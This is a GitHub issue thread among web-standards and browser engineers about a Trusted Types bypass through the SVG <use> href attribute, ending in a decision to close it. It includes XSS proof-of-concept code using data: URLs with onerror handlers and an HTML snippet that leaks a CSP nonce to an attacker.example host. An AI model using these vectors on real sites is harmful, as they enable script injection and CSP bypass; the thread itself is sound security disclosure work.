Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add SVG <use> href attribute to Trusted Types enforcement #357

Closed
shhnjk opened this issue Feb 15, 2022 · 17 comments
Closed

Add SVG <use> href attribute to Trusted Types enforcement #357

shhnjk opened this issue Feb 15, 2022 · 17 comments

Comments

@shhnjk
Copy link
Member

shhnjk commented Feb 15, 2022

We should enforce Trusted Types on <use> tag's href attribute.

Found by @masatokinugawa.
https://twitter.com/kinugawamasato/status/1493576076726988802

<script>
  let attackerControlledString = 'data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayc+CjxpbWFnZSBocmVmPSJ4IiBvbmVycm9yPSJhbGVydChvcmlnaW4pIiAvPgo8L3N2Zz4=#x';
  const svg=document.createElementNS('http://www.w3.org/2000/svg','svg');
  const use=document.createElementNS('http://www.w3.org/2000/svg','use');
  use.setAttributeNS('http://www.w3.org/1999/xlink','href',attackerControlledString);
  svg.appendChild(use);
  document.body.appendChild(svg);
</script>
@koto
Copy link
Member

koto commented Feb 23, 2022

Prehaps <svg:use xlink:href> should require TrustedScriptURL? I filed https://bugs.chromium.org/p/chromium/issues/detail?id=1300195 for Chromium.

@masatokinugawa
Copy link

Don't forget that the <set> and <animate> can set the <use> href attribute dynamically.
The following PoCs work on Chrome: (Note that the onerror sometimes does not fire for some reason. If it does not work, please reload the page.)
https://vulnerabledoma.in/ttbypass_svguse_set.html
https://vulnerabledoma.in/ttbypass_svguse_animate.html

@koto
Copy link
Member

koto commented Feb 24, 2022

This vector using regular href attribute also works:

let attackerControlledString = "data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='console.log(/direct/,origin)' /></svg>#x";
const svg=document.createElementNS("http://www.w3.org/2000/svg", "svg");
const use=document.createElementNS("http://www.w3.org/2000/svg", "use");
use.setAttribute('href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);

To make sure I understand the root cause: These vectors are dynamically setting the <use href> (or deprecated <use xlink:href>) attribute - either directly via DOM, or via animation. While it's easy to cover the direct attribute manipulation, mutation via SVG animation is more tricky.

According to the <use href> in SVG spec though:

User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in ‘use’. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.

I wonder why data: URLs are processed in the first place (they are cross-origin), i.e. is https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#data-url-with-use-element an implementation bug? I could not find anything about this in Chromium bug tracker. @mozfreddyb, do you recall anything about loading data: URLs via <use href> and the XSS in FF?

@mozfreddyb
Copy link
Collaborator

data URLs have not always been crossorigin and I would assume that we only ever thought about iframe/embed/object stuff but not svg subdocuments (like <use>). I think this might very well be an oversight?
Interestingly, the SVG spec says that the href attribute is (quote):

"An URL reference to the element/fragment within an SVG document to be cloned for rendering.".

What does that even mean? Is a "cloned document" a navigation? The details in use-element shadow tree for navigation/fetching are quite vague on this, but I think they ought to be "nested browsing contexts"

@koto: Would you be interested in collecting usage metrics for data: URLs in svg <use> elements for Chrome? I think this deserves unshipping.

@mozfreddyb
Copy link
Collaborator

Fwiw, @annevk made the very good point that the URL scheme might just not matter and e.g., http://html5sec.org/test.svg could also just work?

@koto
Copy link
Member

koto commented Feb 24, 2022

No, at least in Blink implementation this is blocked. From what I can tell so far, Blink is just Fetching with mode same-origin, destination image, which skips the check for same-originness for data: URLs only (step 11 of https://fetch.spec.whatwg.org/#main-fetch)

@mozfreddyb
Copy link
Collaborator

same-origin with destination image should allow CORS, no? That example link above has permissive CORS headers, I suppose I should have mentioned that.

@annevk
Copy link
Member

annevk commented Feb 24, 2022

No it wouldn't. Mode has to be "cors" to allow CORS. (It's not clear that alone is a sufficient argument though as the natural extension for cross-origin resources here would be to allow that, just like we've done in other places.)

@koto
Copy link
Member

koto commented Feb 24, 2022

https://jsbin.com/nolivug/2/edit?html,console tries data:, blob: and cross-origin. In Blink, only data: works, in FF, data: and blob:, in Safari - only blob:.

@mikewest
Copy link
Member

FWIW, SVG would like <use> to work with cross-origin resources: w3c/svgwg#707. No one seems interested in implementing it, but it's been discussed for years.

@shhnjk
Copy link
Member Author

shhnjk commented Mar 4, 2022

I think <use> with cross-origin resource is dangerous, as it has potential to bypass Strict CSP.
For example, you can already redirect to data URL from same-origin page and execute script from <use> in Firefox. If cross-origin resource is allowed, you can wait to serve data URL (by blocking response to redirect) until nonce is stolen using CSS.

@annevk
Copy link
Member

annevk commented Mar 4, 2022

I don't follow, care to elaborate?

@shhnjk
Copy link
Member Author

shhnjk commented Mar 4, 2022

<!-- XSS starts -->
<svg viewBox="0 0 30 10" xmlns="http://www.w3.org/2000/svg">
  <circle id="x" cx="5" cy="5" r="4" stroke="blue"/>
  <!-- Wait to serve content until we receive the nonce from img element -->
  <use href='https://cross-origin.attacker.example/svg_use.php#x' x="10" fill="blue"/>
</svg>
<img src='https://cross-origin.attacker.example/?
<!-- XSS ends -->

<script nonce="R4nd0m">alert('test')</script>

While above won't work in Chrome, but you can use iframe with name attribute to steal nonce in Chrome too (which is by design).

The concerning point with cross-origin resource in <use> is that it provides an ability to load external HTML content (including script) without script execution. Which could be used to load script tag after stealing nonce (therefore, valid nonce can be inserted).

copybara-service bot pushed a commit to google/safevalues that referenced this issue Oct 12, 2022
The attribute contains a URL that points to an SVG fragment to be loaded and
presented inside the element. The URL can additionally contain a URL fragment
representing the ID of a particular element to fetch from within that fragment.
See https://developer.mozilla.org/en-US/docs/Web/SVG/Content_type#iri for
details, and w3c/trusted-types#357 for the associated
security risks.

A common development pattern is to have a <use> element with a URL that points
to another element within the same document. In that case the href is just the
URL fragment, e.g. #elementID. To accommodate this use case, the
TrustedResourceURL builder is also updated to allow standalone URL fragments.

PiperOrigin-RevId: 480590023
copybara-service bot pushed a commit to google/safevalues that referenced this issue Oct 13, 2022
The attribute contains a URL that points to an SVG fragment to be loaded and
presented inside the element. The URL can additionally contain a URL fragment
representing the ID of a particular element to fetch from within that fragment.
See https://developer.mozilla.org/en-US/docs/Web/SVG/Content_type#iri for
details.

The <use> element only supports loading same-origin resources, but data: and javascript: URLs could cause XSS (e.g. w3c/trusted-types#357) and are thus sanitized.

PiperOrigin-RevId: 480590023
copybara-service bot pushed a commit to google/safevalues that referenced this issue Oct 13, 2022
The attribute contains a URL that points to an SVG fragment to be loaded and
presented inside the element. The URL can additionally contain a URL fragment
representing the ID of a particular element to fetch from within that fragment.
See https://developer.mozilla.org/en-US/docs/Web/SVG/Content_type#iri for
details.

The <use> element only supports loading same-origin resources, but data: and javascript: URLs could cause XSS (e.g. w3c/trusted-types#357) and are thus sanitized.

PiperOrigin-RevId: 480854265
@koto
Copy link
Member

koto commented Jan 18, 2024

@shhnjk Do you know if this is still an issue? I remember you did some work to remove the data: URL support for svg:use, which might address this problem?

@shhnjk
Copy link
Member Author

shhnjk commented Jan 18, 2024

Since data: URLs in SVGUseElement is deprecated, I think the only possible XSS from SVGUseElement is:

  1. An attacker has an ability to host SVG image in the victim origin (e.g. image upload feature). However, an attacker can not render the image (due to Content-Disposition header).
  2. There is another bug where attacker can contol string assignment to SVGUseElement in victim's origin.

Then the XSS can happen. I think this situation is extremely rare, that we might not care anymore.

@mozfreddyb
Copy link
Collaborator

Guess we can intentionally exclude this from TT coverage then? I suggest to close this.

@koto
Copy link
Member

koto commented Jan 19, 2024

Agreed. Thanks all!

@koto koto closed this as completed Jan 19, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants